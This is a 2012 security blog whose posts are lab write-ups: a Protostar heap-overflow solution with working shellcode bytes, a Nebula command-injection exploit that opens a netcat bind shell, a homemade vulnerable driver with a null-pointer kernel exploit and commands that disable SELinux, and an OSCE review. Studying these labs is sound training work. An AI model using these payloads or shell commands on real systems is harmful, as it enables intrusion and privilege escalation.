Friday, June 8, 2012

Protostar Heap 3 Solution

I spent the last week working on protostar from, and have completed all the questions except Final 2.  I have roughly mapped out an approach for this last question, although I am hoping for some new ideas to strike me in the next few days, or I will need to start chopping up my shellcode into pieces...

(Btw, the source code given for Final 2 does not appear to completely match the binary.  However, the key parts do appear to operate similarly and so should still be exploitable.)

Anyway, I thought I would write about Heap 3.  I will just be presenting the solution while pointing out a couple of tricky parts.  Going through the solution in detail would take up too much time and space.

Before that, below are a couple of articles that helped me understand heap overflows.  I would say they are essential reading.  The second article is directly relevant to Heap 3.
  1. w00w00 on Heap Overflows by Matt Conover (a.k.a. Shok) & w00w00 Security Team
  2. Vudo malloc tricks by Michel "MaXX" Kaempf
If you are relatively new to heap overflows, I would suggest working on Gera's Advanced Buffer Overflow Challenge 9 first.  It's a simpler version of Heap 3.  However, the catch is that you need an old Linux OS to exploit the "vulnerable" program for challenge 9.  I used Slackware 8.0.

Now, let's get to Heap 3.  The source code for this level is shown below:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
 printf("that wasn't too bad now, was it? @ %d\n", time(NULL));

int main(int argc, char **argv)
 char *a, *b, *c;

 a = malloc(32);
 b = malloc(32);
 c = malloc(32);

 strcpy(a, argv[1]);
 strcpy(b, argv[2]);
 strcpy(c, argv[3]);


 printf("dynamite failed?\n");
The objective is to redirect execution to the winner() function.  The solution and output are as follows:
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/heap3 $(python -c 'print "\x41" * 32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\xbe\xba\xfe\xca" + "\x50\xf7\xff\xbf" + "\x60\xc0\x04\x08"') $(python -c 'print "\x90" * 8 + "\xeb\x0f" + "thisisjustjunk" + "\x90" * 2 + "\x68\x76\xdc\xea\xb7\x68\x64\x88\x04\x08\xc3"')
dynamite failed?
that wasn't too bad now, was it? @ 1339155574
Here's a brief explanation of the various values.  I will be using several terms from the above-mentioned article by Maxx.
  • The 2nd \xfc\xff\xff\xff - this is the size field of the second chunk.  Its least significant bit has to be a zero, which is provided by the 'c'.  It tricks dlmalloc into thinking that the previous chunk is free, and activates the unlink() function.  This also doubles up as the prev_size field of the fake chunk, which is also the start of the fake chunk.
  • The 1st \xfc\xff\xff\xff - this is the prev_size field of the second chunk.  This will be used by dlmalloc to calculate the location of the start of the fake chunk.
  • \xbe\xba\xfe\xca - this is the babe in the cafe.  well seriously, it can be 4 bytes of anything that doesn't break the exploit.  It is the size field of the fake chunk, which isn't important here.
  • \x50\xf7\xff\xbf - this is the address of the location you want to overwrite at, minus 12.  This is one of the trickier parts I mentioned.  Usually I would try to use the address of a relevant function pointer found in the GOT.  In this case, I didn't manage to overwrite puts() successfully.  So I used a location on the stack which contained the ret address.  This location, found via gdb, is 0xbffff75c.  Then, 0xbffff75c - 12 is 0xbffff750.  Why is there a need to minus 12?  Good question.  And there's a great answer for it in Maxx's article.  Subsequently, the value at this stack location will be popped into EIP, allowing us to redirect execution.
  • \x60\xc0\x04\x08 - this is the value you want to overwrite with at the location above.  Put simply, it is the location of your shellcode.  Here, I used the address of buffer c + 8.  Note that the + 8 may not be necessary.  I put it in to address what appears to be an alignment issue, which could be due to me screwing up somewhere in the exploit.
Here, I would like to point out the second "tricky" issue I came across.  In all of the admittedly few heap overflow exploit exercises I have done, I did the overwrites and setting up of the fake chunk via a single buffer.  For Heap 3, however, due to the order of the strcpy() functions, the setting up of the fake chunk requires the use of both buffers a and b.  Anyway, whatever works, works.  The important thing is to get the correct bytes into the correct places on the heap.

Finally, we reach argv[3], which will be copied into buffer c.  It contains our shellcode.  The nops are really just acting as a buffer, to address any minor miscalculations I made.  The \xeb\x0f is necessary to jump over the parts of the buffer that will be clobbered by the unlink() function.  Again, please refer to Maxx's article for details.  Usually, a \xeb\x0a would suffice.  However, it seems (I did not investigate further) that \x0a is a bad character that screws up the exploit, hence I used \x0f instead.

The key part of the shellcode is simply:
  • \x68\x76\xdc\xea\xb7 - push 0xb7eadc76.  This was the original value from the stack location we performed the overwrite at.  After executing winner(), we want it to return here and exit properly.
  • \x68\x64\x88\x04\x08 - push 0x08048864, this is the location of winner().  winner()'s address can be found using objdump.
  • \xc3 - retn
Well, that's it for Heap 3.  I will get quite busy soon, but I will see if I can find time to finish up Final 2 and the Fusion challenges.

Friday, June 1, 2012

Nebula Level 16 Solution

I started working on Nebula at a couple of days ago.  Of the 17 levels solved thus far, I found level 16 to be the most laborious of all, and I derived great satisfaction from solving it.  In addition, I just did a quick online search and could not find any working solution for this level.  Thus I decided to do a quick walkthrough of it.

This challenge requires you to successfully exploit a server application listening on port 1616 that is running the following code:

#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # convert to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
  return 1;
return 0;
sub htmlz {
print("<html><head><title>Login results</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
    } else {
  print("Your login failed<br/>");
  } print("Would you like a cookie?<br/><br/></body></html>\n");
htmlz(login(param("username"), param("password")));

Looking through the source code, it appears that the following line, once we get through all the checks and whatnot, is vulnerable to remote code execution:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
To get our crafted input to this line, we need to work around 3 key restrictions.  They are:

  1. No lowercase letters are allowed, as they will all be converted to uppercase letters.
  2. No spaces are allowed, as everything after a space will be stripped away.
  3. Our input has to be crafted in such a way that it is successfully executed after egrep.

Due to these restrictions, it is likely that our crafted input has to be short and sweet.  Let's simplify our work by putting the bulk of our command into a script, shown below.  I chose to go with netcat here.

level16@nebula:~$ cat /tmp/MYSCRIPT
nc.traditional -lvnp 4444 -e /bin/sh
Now let's figure out how to work around the first restriction of no lowercase letters.  We need to craft something with the effect of "/tmp/MYSCRIPT".  Obviously, "tmp" is the problem here, as the application will change it into "TMP" and prevent the running of our script.  Fortunately for us, bash provides us with an extremely elegant solution.  In fact, you should have come across this particular feature of bash even if you have been using bash for only a week.  With that, I shall leave you to ponder upon it for a while.

*                        *                        *

I will now briefly go through the second and third restrictions.  Although overcoming the second restriction is quite easy, the third restriction is a monster.  I was never a fan of perl to begin with, and it took me the better part of the day just to verify the functions and to find the correct combination of ", -, ` and % 00.  (By the way, there isn't supposed to be a space between % and 00.  I was forced to type the null byte in this way as blogspot is unable to properly display it.)

In the end though, I managed to find the solution and slay the beast (spoiler alert!).
root@bt:~# nc 1616
GET /index.cgi?password=random&username=-"`/*/MYSCRIPT`% 00

Open another window and put on the finishing touch:
root@bt:~# nc 4444
uid=983(flag16) gid=983(flag16) groups=983(flag16)
You have successfully executed getflag on a target account

Update (1 Jun): All 20 levels of Nebula are done!  I may do a write-up on Level 18 later.  On to Protostar!

Gera's Insecure Programming Challenges and

I came across Gera's Insecure Programming Challenges a couple of weeks ago and decided to work on them. Thus far, I have gone through all the Warming Up and Advanced Buffer Overflows challenges.  Unfortunately, a few of them could only be completed on older OSes or on non-x86 machines.  Nevertheless, they provided a good opportunity for me to practice ROP, to bypass ASLR and non-executable stacks on newer Linux OSes.

A couple of days ago, I also came across  They provide 3 different virtual machines, each with challenges of varying difficulty.  According to the website, they are, in order of difficulty: Nebula, Protostar and Fusion.

I have since completed Levels 0 to 16 on Nebula, getting shells for the targeted flagXX user on each level.  I will probably do a write-up on Level 16 soon.

So far, most of the challenges are interesting, and I can't wait to try out Protostar and Fusion.

Wednesday, April 18, 2012

De-ICE pentest discs 1.120a and 1.120b

The De-ICE pentest LiveCDs 1.120a and 1.120b were released quite a while ago.  I tried them out yesterday and managed to successfully work through both of them.

As a few people (e.g. g0tmi1k) have already put up excellent walkthroughs for them, I won't be doing so.  Here, I will just mention a way to cut out part of the merry goose chase in 1.120b.  This will allow you to skip the part on using cupp, but you would still need to repair and combine the java file.

Basically, after you manage to get a non-root user account on the box, take a look at the kernel version.  It is 2.6.16.  This box is vulnerable to the Linux Kernel 'udp_sendmsg()' MSG_MORE Flag Local Privilege Escalation Vulnerability.  As gcc is not installed on the box, compile statically the publicly-available exploit on your attacking box.  Then transfer the resulting executable onto the box and run it to get root.  This should cut out the hassle of having to compromise the other 2 user accounts.  Unfortunately, to achieve the goal of this pentest, you would still need to put the java file together to get the password to decrypt the accounts file.  g0tmi1k has already covered this last part in good detail.

Wednesday, March 7, 2012


I have been reading up on linux device drivers recently and decided to write a simple device driver for fun.  To make things more interesting, I included a blatantly obvious null pointer dereference vulnerability in the driver.  And of course, I wrote an exploit for it as well, taking reference from the various exploits that can be found online.  Note that this is purely an exercise and the code will not be very useful in real-world applications.

I will broadly explain how it works below.  But a thorough explanation would probably require multiple pages, so I will leave it to the reader to search and read through the relevant information in books, manuals and online articles.

In C, a pointer is an integer that refers to a location in memory.  When you want to load (or write to) the value that exists at this location via the pointer, you would be dereferencing the pointer.  In C, a NULL pointer is a pointer with the value 0.  This NULL pointer does not correspond to any valid memory by default - trying to dereference it will lead to a segmentation fault.

However, due to how virtual memory is implemented in linux (where the kernel space and user space share the same virtual address space), we can actually map NULL to a valid address.  This can be done via mmap().  If done correctly, dereferencing the NULL pointer would then no longer crash the system.  In fact, if we place our own function pointer at this valid address, the kernel will execute our code in kernel mode.

In a nutshell, this is what I have done in the exploit for my basic device driver.  If you want, you can download here.  As there is a chance that the code will screw up your system, you probably should run this in a non-critical virtual machine.  I wrote and ran the code on Fedora 14 with kernel, but it should work for all kernel versions 2.6.29 and up.

3 files are included in the download: dearmo-driver1.c, Makefile and rootnull.c.  To set up the system, and to compile and load the device driver, execute the commands below.

#echo 0 > /proc/sys/vm/mmap_min_addr
#echo 0 > /selinux/enforce
#insmod dearmo-driver1.ko

There are still a few more steps to take after this.  Refer to the comments/information in the dearmo-driver1.c file. After that, compile the exploit rootnull.c, then execute it.

$gcc rootnull.c -o rootnull.out

And we have root.

Wednesday, February 15, 2012

Reflections and a brief review of OSCE

Wow.  I am still in awe right now.

I enjoyed the OSCE exam and the CTP course immensely.  The Offsec folks have done a great job of putting the CTP course together.  It is by no means an easy course, and much more complex than PWB.  Of course just like PWB, no spoon-feeding is involved.  Instead, the course materials equip you with the essential concepts and the knowledge to use various techniques.

Finding out when and why to apply the concepts and techniques however, is entirely up to your own study, research, practice, practice and practice.

And that, I believe, is the way it should be.  That is what hacking (in the strictest positive sense of the word) is all about.

I studied really intensely for this course, way more than PWB.  Part of the reason is that there's hardly any information online about what the OSCE certification exam would entail.  All I knew was that there would be a few challenges, and that I needed to complete them within 48 hours.  Hence, I wanted to cover all bases.  The main reason however, was that I simply could not stop learning.  Studying for CTP opened a door where a new and wondrous world awaits.  In fact, I learnt so much that I found myself deep in AWE territory.  Still, it was all good.

Having already gotten a sense of how an Offsec exam works from OSCP, I felt little stress going into the OSCE exam.  I won't elaborate on the exam, but well, if you understand the concepts taught in CTP, you should do fine.  48 hours will be more than sufficient - I was jumping around with elation by the 30th hour.  But if you haven't fully grasped the concepts, I would venture to say that you won't be able to crack the more difficult challenges even if you have a week.

All in all, it was one of the most satisfying experiences of my life.  Looking back, I am quite overwhelmed by my journey from PWB to OSCE in the past half-year.  It's as if I have completed a long and rewarding trek up a mountain.  Yet, at the end of the trek, I discovered that I have not reached the peak.  I have reached something even better.  I stand only at the foot of Mount Everest.  And a new journey awaits.

As Buzz Lightyear would say - To infinity and beyond!

Add.: I can't believe I quoted Buzz Lightyear.